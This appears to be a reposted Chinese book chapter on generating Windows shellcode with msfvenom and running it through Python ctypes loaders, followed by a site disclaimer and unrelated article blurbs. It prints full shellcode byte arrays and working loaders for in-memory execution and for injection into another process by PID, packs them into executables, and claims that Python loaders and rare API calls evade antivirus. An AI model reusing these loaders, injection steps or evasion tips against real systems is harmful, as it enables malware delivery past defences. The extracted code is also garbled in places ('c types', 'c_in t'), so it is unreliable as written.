shellcode

生成shellcode

在漏洞利用中,shellcode是不可或缺的部分,所以在网上有许多公开分享的 shellcode ,在不同平台上并不通用,需要选择适合的shellcode 。这里推荐两个常 见公开的安全平台:一个为公开的漏洞库exploit-db(见公众号链接10-1),一个 为公开的Shell-strom库(见公众号链接10-2),如图10-1和图10-2所示。

32553566f190424badd1f4d1e01fec2c.png

图10-1    exploit-db公开漏洞库

b078f2f7e46a42c3ad44d3b3ad932862.png

图10-2    Shell-storm公开库

此外,还可以通过软件获取shellcode 。这里选用渗透场景中出现频率较高的 Metasploit来进行shellcode生成。在配置好Metasploit 的环境中直接输入

msfvenom ,如下所示:

 

 

 

 

 

6e9c1a31b5cd4169a3f94bc1f6ae07fe.png

进入msfvenom模块后,有许多选项供选择,这里选用-L选项可以查看所有的 Payload等信息,如下所示:

6c64f968fcd149699e0e8c1448eb40c9.png

这里选择windows/x64/exec模块,设置接收值为calc.exe ,选择-f选项指定生成 脚本为Python脚本的shellcode ,如下所示:

 

 

 

 

 

d022f1746554486dbf4a24d9c119b1c2.png

 

 

 

 

 

 

10.2    shellcode 的加载与执行

shellcode是一段利用软件漏洞来执行的代码,为十六进制的机器码,因为经 常让攻击者获得shell而得名。shellcode常用机器语言编写,可在寄存器eip溢出  后,载入一段可让CPU执行的shellcode机器码,让计算机可以执行任意指令。

由于Python是一种较新的语言,并且现在多数杀毒厂商的软件对于Python文 件的查杀技术还不完善,因此多数Python文件都是可以做到免杀的,所以在

shellcode 的使用中Python也较为常见。下面讲解两种用Python加载的shellcode方 法。

1. 内存加载shellcode

首先通过下列命令生成一个shellcode 。使用msfvenom-p选项来指定payload, 这里选用了windows/项4/exec模块接收的参数。使用calc.exe执行弹出计算器的操 作。-f选项用来指定生成的shellcode 的编译语言。如下所示:

   msfvenom -p windows/x64/exec CMD= 'calc .exe ' -f py                                          

执行效果如下。

 

 

 

 

 

892c9c5594ec4565a15d46a7f69e180f.png

具体实现步骤如下。

1)导入模块,并给程序分配内存后可进行读写操作。这里用到的模块有sys 和ctypes模块:

 

from c types import *

from ctypes .win types import * import sys

PAGE_EXECUTE_READWRITE = 0x00000040

MEM_COMMIT = 0x3000  # 分配内存

PROCESS_ALL_ACCESS = ( 0x000F0000 |

 

 

 

# 区域可执行代码,可读可写

0x00100000 | 0xFFF )  #给予进程所有权限

2)调用windows api ,以便后续进行调用。Windows中有很多内置的API ,在 执行shellcode时需要调用相关的API函数,在免杀过程中,许多杀毒软件会监控  Windows的API ,调用一些底层函数,或者少见的API函数,就可以绕过杀毒软件 的API监测:

# windows api

VirtualAlloc = windll.kernel32 .VirtualAlloc

RtlMoveMemory = windll.kernel32 .RtlMoveMemory

CreateThread = windll.kernel32 .CreateThread

WaitForSingleObject = windll.kernel32 .WaitForSingleObject

 

 

 

 

 

OpenProcess = windll.kernel32 .OpenProcess

VirtualAllocEx = windll.kernel32 .VirtualAllocEx

WriteProcessMemory = windll.kernel32 .WriteProcessMemory

CreateRemoteThread = windll.kernel32 .CreateRemoteThread

 

3)将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处 理:

shellcode = bytearray(

b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"

b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"

b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"

b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"

b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"

b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"

b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"

b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"

b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"

b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"

b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"

b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"

b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"

b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"

b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"

b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"

b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"

b"\x63\x2e\x65\x78\x65\x00"

)

4)创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复 制shellcode到内存中,创建线程事件并执行:

def run1() :

VirtualAlloc .restype = c types .c_void_p  # 重载函数返回类型为void

p = VirtualAlloc(c_in t(0), c_in t(len(shellcode)), MEM_COMMIT, PAGE_

EXECUTE_READWRITE)       # 申请内存

buf = (c_char * len(shellcode)) .from_buffer(shellcode)     # 将shellcode指向

# 指针

RtlMoveMemory(c_void_p(p), buf, c_in t(len(shellcode)))     # 复制shellcode到

# 申请的内存中

h = CreateThread(c_in t(0), c_in t(0), c_void_p(p), c_in t(0), c_in t(0),

pointer(c_in t(0)))       # 执行创建线程

WaitForSingleObject(c_in t(h), c_in t(-1))     # 检测线程创建事件

if __name__ == "__main__" :

run1()

5)运行后可以成功弹出计算器,如图10-3所示,但这还没有结束,如果目标 机器中没有Python环境,shellcode便无法执行。

 

 

 

 

 

92978969319d43d38a2085d4a20d5efc.png

图10-3    用shellcode弹出计算器

6)根据脚本生成一个exe文件,使用Python的pyinstaller生成pyinstaller-F 1.py ,如下所示:

 

ec137eca551d4ff3a5b4b57abd699a9d.png

运行exe文件也成功了,如图10-4所示。

 

2e9f824336ae4509965899d1002c88d2.png

 

 

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps219.png&pos_id=NVBWmt1o

图10-4    运行exe文件

2.进程注入shellcode

输入下列命令可以生成shellcode 。跟上面一样,使用-p选定exec的模块,接受 参数值为calc.exe ,设置EXITFUNC参数值为thread ,拉起子线程并在子线程中运  行shellcode 。-f用于指定生成的shellcode为Python编码:

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps220.jpg&pos_id=7nSjTFDX

U

msfvenom -p windows/exec CMD= 'calc .exe ' EXITFUNC=thread -f py

执行效果如下所示。

 

 

 

 

 

9772cdd81c964e71931404835402bcd4.png

具体步骤如下:

1)导入模块,分配内存并给予权限,调用ctypes和sys模块:

 

from c types import *

from ctypes .win types import *

import sys

PAGE_EXECUTE_READWRITE = 0x00000040     # 区域可执行代码,可读可写

MEM_COMMIT = 0x3000                 # 分配内存

PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )  #给予进程所有权限

2)调用windows api ,以便后续调用,通过调用windows api执行shellcode 中的 内容:

# windows api

VirtualAlloc = windll.kernel32 .VirtualAlloc

RtlMoveMemory = windll.kernel32 .RtlMoveMemory

CreateThread = windll.kernel32 .CreateThread

WaitForSingleObject = windll.kernel32 .WaitForSingleObject

OpenProcess = windll.kernel32 .OpenProcess

VirtualAllocEx = windll.kernel32 .VirtualAllocEx

WriteProcessMemory = windll.kernel32 .WriteProcessMemory

CreateRemoteThread = windll.kernel32 .CreateRemoteThread

3)赋值shellcode ,这里使用另一种赋值方式:

 

shellcode1 =  b""

shellcode1 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"

 

 

 

 

 

shellcode1 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"

shellcode1 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"

shellcode1 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"

shellcode1 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"

shellcode1 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"

shellcode1 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"

shellcode1 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"

shellcode1 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"

shellcode1 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"

shellcode1 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"

shellcode1 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"

shellcode1 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"

shellcode1 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"

shellcode1 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

shellcode1 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"

shellcode1 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"

shellcode1 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41"

shellcode1 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"

shellcode1 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

shellcode1 += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"

shellcode1 += b"\x78\x65\x00"

 

4)创建一个方法run ,用接收的pid号进行进程注入,调用之前复制的api ,通 过将shellcode注入pid进程中以完成攻击:

def run2(pid) :

h_process = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

if h_process:

p = VirtualAllocEx(h_process, c_in t(0), c_in t(len(shellcode1)), MEM_ COMMIT, PAGE_EXECUTE_READWRITE)

WriteProcessMemory .argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t,

POINTER(c_size_t)]

WriteProcessMemory .restype = BOOL

buf = create_string_buffer(shellcode1)

WriteProcessMemory(h_process, p, shellcode1, sizeof(buf), byref(c_ size_t(0)))

else:

print("无法打开进程pid : %s" % pid)

sys .exit()

CreateRemoteThread(h_process, None, c_in t(0), p, None, 0, byref(c_ulong(0)))

if __name__ == "__main__" :

run2(in t(sys .argv[1]))

5)运行之前,在任务管理器里找一个被注入的进程的pid号,这里选用桌面 进程pid为6828 ,如图10-5所示。

 

 

 

 

 

09901e093b0c428ba400683750aded45.png

图10-5    选用桌面进程pid

6)成功弹出计算器程序。将代码用同样的方法,使用Python的pyinstaller生 成exe文件后,仍然可以运行,如图10-6所示。

8ad083303e39439890003c2f45d9c3f9.png

图10-6    弹出计算器程序

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/461407.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

『运维备忘录』之 Find 命令详解

运维人员不仅要熟悉操作系统、服务器、网络等只是,甚至对于开发相关的也要有所了解。很多运维工作者可能一时半会记不住那么多命令、代码、方法、原理或者用法等等。这里我将结合自身工作,持续给大家更新运维工作所需要接触到的知识点,希望大…

掌握虚拟化与网络配置之道:深入浅出VMware及远程管理技巧

目录 虚拟机介绍 虚拟机的关键字 服务器架构的发展 为什么用虚拟机VMware 虚拟机和阿里云的区别 功能角度 价格因素 应用场景 优势方面 找到windows的服务管理 配置VMware 关于VMware安装的几个服务 vmware如何修改各种网络配置 关于NAT的详细信息(了解) NAT(网…

排序算法---快速排序

原创不易,转载请注明出处。欢迎点赞收藏~ 快速排序是一种常用的排序算法,采用分治的策略来进行排序。它的基本思想是选取一个元素作为基准(通常是数组中的第一个元素),然后将数组分割成两部分,其中一部分的…

数字图像处理实验记录六(图像的傅里叶变换和频域处理)

前言: 一、基础知识 1,傅里叶变换是什么 傅里叶变换是一种线性积分变换,通俗来说,通过傅里叶变换就是把一段信号分解成若干个简谐波。 二、实验要求 1.产生一幅如图所示亮块图像f(x,y)(256256 大小、…

CISA、FBI、EPA 为水系统运营商提供网络安全指南

经过一番停顿后,美国联邦机构发布了指导意见,帮助供水和废水处理系统运营商更好地应对网络攻击,这是威胁行为者越来越多地针对该行业的重要一步。 该文件由环境保护局 (EPA)、联邦调查局 (FBI) 以及网络安全和基础设施安全局 (CISA) 共同编写…

USMART是什么?

一、USMART简介 USMART是一个串口调试组件,可以大大提高代码调试效率,为正点原子为STM32开发的类似linux中shell的调试工具。 一般开发者正常情况下,对单片机功能进行调试的过程大致为:下载——调试——修改——下载——调试——…

大模型是如何实现Function Call函数调用的?

▼最近直播超级多,预约保你有收获 近期直播:《Agent 企业级应用案例实战》 —1— 大模型如何实现函数调用? 大模型要实现精确的函数调用(Function Call)需要理解能力和逻辑能力,理解能力就是对用户的 Prom…

containerd中文翻译系列(十四)追踪

containerd 自 v1.6.0 起支持 OpenTelemetry 跟踪。 跟踪目前只针对 gRPC 调用。 从 containerd 守护进程发送跟踪结果 通过配置 io.containerd.tracing.processor.v1.otlp 插件。 containerd 守护进程可以将跟踪信息发送到指定的 OpenTelemetry 端点。 version 2[plugins.…

Modern C++ 内存篇1 - std::allocator VS pmr

大年三十所写,看到就点个赞吧!祝读者们龙年大吉!当然有问题欢迎评论指正。 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. 前言 从今天起我们开始内存相关的话题,内存是个很大的话题,一时不…

sqli靶场完结篇!!!!

靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!! 31.多个)号 先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc 3213131…

Canvas笔记05:像素操作,可以对图像进行像素级别控制和处理

hello,我是贝格前端工场,最近在学习canvas,分享一些canvas的一些知识点笔记,本期分享canvas像素操作的知识,欢迎老铁们一同学习,欢迎关注,如有前端项目需要协助可私聊。 一、什么是像素操作 Ca…

在windows的控制台实现贪吃蛇小游戏

欢迎来到博主的文章 博主id:代码小豪 前言:看懂这篇文章需要具有C语言基础,还要对单链表具有一定的理解。如果你只是想要试玩这个游戏,可以直接在文章末尾找到源码 由于实现贪吃蛇需要调用Win32 API函数,这些函数我会…